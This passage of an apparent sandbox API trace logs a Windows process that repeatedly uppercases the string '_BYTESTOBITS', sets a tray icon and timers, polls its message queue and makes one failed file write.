lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.640] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.641] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.642] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.643] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.644] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.645] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.646] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.648] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.649] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.649] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.649] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.652] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.284] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfeb70) returned 1 [0019.285] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0019.285] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.285] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.286] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="00000000000000000000010000000000\r\n", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0019.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="00000000000000000000010000000000\r\n", cchWideChar=35, lpMultiByteStr=0xe8f4187490, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00000000000000000000010000000000\r\n", lpUsedDefaultChar=0x0) returned 35 [0019.288] GetLastError () returned 0x0 [0019.288] SetLastError (dwErrCode=0x0) [0019.288] GetLastError () returned 0x0 [0019.288] SetLastError (dwErrCode=0x0) [0019.288] WriteFile (in: hFile=0xfffffffffffffffe, lpBuffer=0xe8f4057a40, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0xe8f3dfde50, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xe8f3dfde50, lpOverlapped=0x0) returned 0 [0019.288] GetLastError () returned 0x6 [0019.288] GetLastError () returned 0x6 [0019.288] SetLastError (dwErrCode=0x6) [0019.288] GetLastError () returned 0x6 [0019.288] SetLastError (dwErrCode=0x6) [0019.288] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.288] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.288] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.288] QueryPerformanceCounter (in: lpPerformanceCount=0xe8f3dff758 | out: lpPerformanceCount=0xe8f3dff758*=220927134) returned 1 [0019.288] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.288] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.288] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.289] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 